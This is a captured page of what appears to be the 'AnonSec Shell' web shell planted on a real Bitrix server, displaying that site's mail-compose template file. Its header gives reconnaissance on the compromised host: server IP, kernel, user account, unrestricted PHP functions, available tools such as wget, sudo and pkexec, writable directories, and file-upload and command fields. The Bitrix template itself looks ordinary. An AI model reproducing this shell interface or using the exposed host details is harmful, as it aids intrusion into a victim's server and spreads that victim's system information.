AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.138.36.71
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/components/bitrix/mail.client.message.new/templates/.default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/components/bitrix/mail.client.message.new/templates/.default/template.php
<?php

use Bitrix\Main\Localization\Loc;
use Bitrix\Mail\Helper;
use Bitrix\Mail\Message;

if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

/** @var array $arParams */
/** @var array $arResult */
/** @global \CMain $APPLICATION */
/** @global \CUser $USER */
/** @var \CBitrixComponentTemplate $this */
/** @var string $templateName */
/** @var string $templateFile */
/** @var string $templateFolder */
/** @var string $componentPath */
/** @var \CMailClientMessageNewComponent $component */

\Bitrix\UI\Toolbar\Facade\Toolbar::deleteFavoriteStar();

\Bitrix\Main\UI\Extension::load([
	'ui.design-tokens',
	'ui.fonts.opensans',
]);

if ($arResult['TO_PLUG_EXTENSION_SALES_LETTER_TEMPLATE'])
{
	\Bitrix\Main\UI\Extension::load('mail.saleslettertemplate');
}

$this->setViewTarget('inside_pagetitle'); ?>
<div></div>
<?php
$this->endViewTarget();

$this->setViewTarget('above_pagetitle'); ?>

<div class="mail-message-new-head">
	<span class="mail-msg-title-icon mail-msg-title-icon-outcome"></span>
	<span class="mail-message-new-title-text"><?=Loc::getMessage('MAIL_NEW_MESSAGE_TITLE')?></span>
</div>

<?php

$emailsLimitToSendMessage = Helper\LicenseManager::getEmailsLimitToSendMessage();

$this->endViewTarget();

$message = $arResult['MESSAGE'];

$rcptList = [
	'users' => [],
	'emails' => $arResult['EMAILS'],
	'mailContacts' => $arResult['LAST_RCPT'],
	'companies' => [],
	'contacts' => [],
	'deals' => [],
	'leads' => [],
];
$rcptLast = [
	'users' => [],
	'emails' => [],
	'mailContacts' => array_combine(array_keys($arResult['LAST_RCPT']), array_keys($arResult['LAST_RCPT'])),
	'companies' => [],
	'contacts' => [],
	'deals' => [],
	'leads' => [],
];

$prepareReply = function($__field) use (&$message, &$rcptList, &$rcptLast) {
	$result = [];

	foreach ((array)$__field as $item)
	{
		if (!empty($item['email']))
		{
			if ('reply' == $message['__type'] && $message['__email'] == $item['email'])
			{
				continue;
			}

			//			$id = 'U'.md5($item['email']);
			//			$type = 'users';
			$id = 'MC'.$item['email'];
			$type = 'mailcontacts';

			$rcptList['emails'][$id] = $rcptList[$type][$id] = [
				'id' => $id,
				'entityId' => count($rcptList['emails']) + 1,
				'name' => $item['name'] ? : $item['email'],
				'desc' => $item['email'],
				'email' => $item['email'],
				'isEmail' => 'Y',
			];
			$rcptLast['emails'][$id] = $rcptLast[$type][$id] = $id;

			$result[$id] = $type;
		}
	}

	return $result;
};

$rcptSelected = [];
$rcptCcSelected = [];

if ('reply' == $message['__type'])
{
	$rcptSelected = $prepareReply($message['__is_outcome'] ? $message['__to'] : $message['__reply_to']);
	$rcptCcSelected = $prepareReply($message['__cc']);
}
else
{
	$rcptSelected = $prepareReply($message['__rcpt']);
}

$isCrmEnabled = ($arResult['CRM_ENABLE'] === 'Y');

?>

<div class="mail-msg-view-wrapper">
	<div data-id="<?=intval($message['ID'])?>" id="mail-msg-view-details-<?=intval($message['ID'])?>">
		<?

		$formId = 'mail_msg_new_form';
		$actionUrl = '/bitrix/services/main/ajax.php?c=bitrix%3Amail.client&action=sendMessage&mode=ajax';

		?>
		<form action="<?=$actionUrl?>" method="POST" id="<?=htmlspecialcharsbx($formId)?>">
			<?=bitrix_sessid_post()?>
			<? if ('reply' == $message['__type'] && $message['__parent'] > 0): ?>
				<input type="hidden" name="data[IN_REPLY_TO]" value="<?=htmlspecialcharsbx($message['MSG_ID'])?>">
				<input type="hidden" name="data[MAILBOX_ID]" value="<?=$message['MAILBOX_ID']?>">
			<? endif ?>
			<?

			$messageSanitized = true;
			if ($message['__parent'] > 0 && trim($message['BODY_HTML']))
			{
				$messageHtml = (new Bitrix\Mail\Helper\Cache\SanitizedBodyCache())->get($message['__parent']);
				if (!$messageHtml)
				{
					$messageHtml = $message['BODY_HTML'];
					$messageSanitized = false;
				}
			}
			else
			{
				$messageHtml = preg_replace('/(\s*(\r\n|\n|\r))+/', '<br>', htmlspecialcharsbx($message['BODY']));
			}

			$inlineFiles = [];
			preg_replace_callback(
				'#(\?|&)__bxacid=(n?\d+)#i',
				function($matches) use (&$inlineFiles) {
					$inlineFiles[] = $matches[2];

					return $matches[0];
				},
				$messageHtml
			);
			$messageQuote = Message::wrapTheMessageWithAQuote(
				$messageHtml,
				$message['ORIGINAL_SUBJECT'] ?? $message['SUBJECT'],
				$message['FIELD_DATE'],
				$message['__from'],
				$message['__to'],
				$message['__cc'],
				$messageSanitized,
			);

			$attachedFiles = [];
			foreach ((array)$message['__files'] as $item)
			{
				if (preg_match('/^n\d+$/i', $item['id']))
				{
					$attachedFiles[] = $item['id'];
				}
			}

			if ('reply' == $message['__type'] && $message['__parent'] > 0)
			{
				$attachedFiles = array_intersect($attachedFiles, $inlineFiles);
			}

			$selectorParams = [
				//'pathToAjax' => '/bitrix/components/bitrix/crm.activity.editor/ajax.php?soc_net_log_dest=search_email_comms',
				'extranetUser' => false,
				'isCrmFeed' => $isCrmEnabled,
				'CrmTypes' => ['CRMCONTACT', 'CRMCOMPANY', 'CRMLEAD'],
				'enableUsers' => true,
				'useClientDatabase' => true,
				'allowSearchEmailContacts' => true,
				'allowAddUser' => true,
				'allowAddCrmContact' => false,
				'allowSearchEmailUsers' => true,
				'allowSearchCrmEmailUsers' => false,
				'allowUserSearch' => true,
				'items' => $rcptList,
				'itemsLast' => $rcptLast,
				'emailDescMode' => true,
				'searchOnlyWithEmail' => true,
			];

			$APPLICATION->includeComponent(
				'bitrix:main.mail.form',
				'',
				[
					'VERSION' => 2,
					'FORM_ID' => $formId,
					'LAYOUT_ONLY' => true,
					'SUBMIT_AJAX' => true,
					'FOLD_QUOTE' => !empty($message['MSG_ID']),
					'FOLD_FILES' => !empty($message['MSG_ID']),
					'EDITOR_TOOLBAR' => true,
					'USE_SIGNATURES' => true,
					'USE_CALENDAR_SHARING' => true,
					'COPILOT_PARAMS' => $arResult['COPILOT_PARAMS'],
					'FIELDS' => [
						[
							'name' => 'data[from]',
							'title' => Loc::getMessage('MAIL_MESSAGE_NEW_FROM'),
							'type' => 'from',
							'value' => $message['__email'],
							'isFormatted' => true,
							'required' => true,
						],
						[
							'type' => 'separator',
						],
						[
							'name' => 'data[to]',
							'title' => Loc::getMessage('MAIL_MESSAGE_NEW_TO'),
							'placeholder' => Loc::getMessage('MAIL_MESSAGE_NEW_ADD_RCPT'),
							'type' => 'rcpt',
							//'value'       => $rcptSelected,
							'selector' => array_merge(
								$selectorParams,
								['itemsSelected' => $rcptSelected]
							),
							'required' => true,
						],
						[
							'name' => 'data[cc]',
							'title' => Loc::getMessage('MAIL_MESSAGE_NEW_CC'),
							'placeholder' => Loc::getMessage('MAIL_MESSAGE_NEW_ADD_RCPT'),
							'type' => 'rcpt',
							'folded' => empty($rcptCcSelected),
							//'value'       => $rcptCcSelected,
							'selector' => array_merge(
								$selectorParams,
								['itemsSelected' => $rcptCcSelected]
							),
						],
						[
							'name' => 'data[bcc]',
							'title' => Loc::getMessage('MAIL_MESSAGE_NEW_BCC'),
							'placeholder' => Loc::getMessage('MAIL_MESSAGE_NEW_ADD_RCPT'),
							'type' => 'rcpt',
							'folded' => true,
							'selector' => $selectorParams,
						],
						[
							'name' => 'data[subject]',
							'title' => Loc::getMessage('MAIL_MESSAGE_NEW_SUBJECT'),
							'placeholder' => Loc::getMessage('MAIL_MESSAGE_NEW_SUBJECT_PH'),
							'value' => $message['SUBJECT'],
						],
						[
							'name' => 'data[message]',
							'type' => 'editor',
							'value' => !empty($message['MSG_ID']) ? $messageQuote : '',
						],
						[
							'name' => 'data[__diskfiles]',
							'type' => 'files',
							'value' => $attachedFiles,
						],
					],
					'BUTTONS' => [
						'submit' => [
							'class' => 'ui-btn-primary',
							'title' => Loc::getMessage('MAIL_MESSAGE_NEW_SEND'),
						],
						'cancel' => [
							'title' => Loc::getMessage('MAIL_MESSAGE_NEW_CANCEL'),
						],
					],
				]
			);

			?>

		</form>

	</div>
</div>

<script type="text/javascript">

	BX.message({
		EMAILS_LIMIT_TO_SEND_MESSAGE: '<?=$emailsLimitToSendMessage?>',
		MAIL_MESSAGE_AJAX_ERROR: '<?=\CUtil::jsEscape(Loc::getMessage('MAIL_MESSAGE_AJAX_ERROR')) ?>',
		MAIL_MESSAGE_NEW_EMPTY_RCPT: '<?=\CUtil::jsEscape(Loc::getMessage('MAIL_MESSAGE_NEW_EMPTY_RCPT')) ?>',
		MAIL_MESSAGE_NEW_TARIFF_RESTRICTION: '<?=\CUtil::jsEscape(Loc::getMessage('MAIL_MESSAGE_NEW_TARIFF_RESTRICTION', ['#COUNT#'=> $emailsLimitToSendMessage])) ?>',
		MAIL_MESSAGE_NEW_UPLOADING: '<?=\CUtil::jsEscape(Loc::getMessage('MAIL_MESSAGE_NEW_UPLOADING')) ?>',
		MAIL_MESSAGE_MAX_SIZE: <?=Helper\Message::getMaxAttachedFilesSize()?>,
		MAIL_MESSAGE_MAX_SIZE_EXCEED: '<?=\CUtil::jsEscape(
			Loc::getMessage(
				'MAIL_MESSAGE_MAX_SIZE_EXCEED',
				['#SIZE#' => \CFile::formatSize(Helper\Message::getMaxAttachedFilesSizeAfterEncoding(),1)]
			)
		) ?>',
		MAIL_MESSAGE_SEND_SUCCESS: '<?=\CUtil::jsEscape(Loc::getMessage('MAIL_MESSAGE_SEND_SUCCESS')) ?>',
	});

	BX.ready(function() {
		BXMailMessageController.init({
			messageId: <?=intval($message['ID']) ?>,
			type: 'edit',
			pathList: '<?=\CUtil::jsEscape(
				\CComponentEngine::makePathFromTemplate(
					$message['MAILBOX_ID'] > 0 ? $arParams['~PATH_TO_MAIL_MSG_LIST'] : $arParams['~PATH_TO_MAIL_HOME'],
					[
						'id' => $message['MAILBOX_ID'],
					]
				)
			) ?>',
		});

		new BXMailMessage({
			messageId: <?=intval($message['ID']) ?>,
			formId: '<?=\CUtil::jsEscape($formId) ?>',
		});

		var mailForm = BXMainMailForm.getForm('<?=\CUtil::jsEscape($formId) ?>');
		mailForm.init();
		<? if($arResult['SELECTED_EMAIL_CODE'] && !empty($arResult['LAST_RCPT'][$arResult['SELECTED_EMAIL_CODE']])): ?>
		mailForm.getField('data[to]').setValue({
			'<?= CUtil::JSEscape(
				$arResult['SELECTED_EMAIL_CODE']
			) ?>': 'mailContacts',
		});
		<? endif;?>
	});

</script>

Anon7 - 2022
AnonSec Team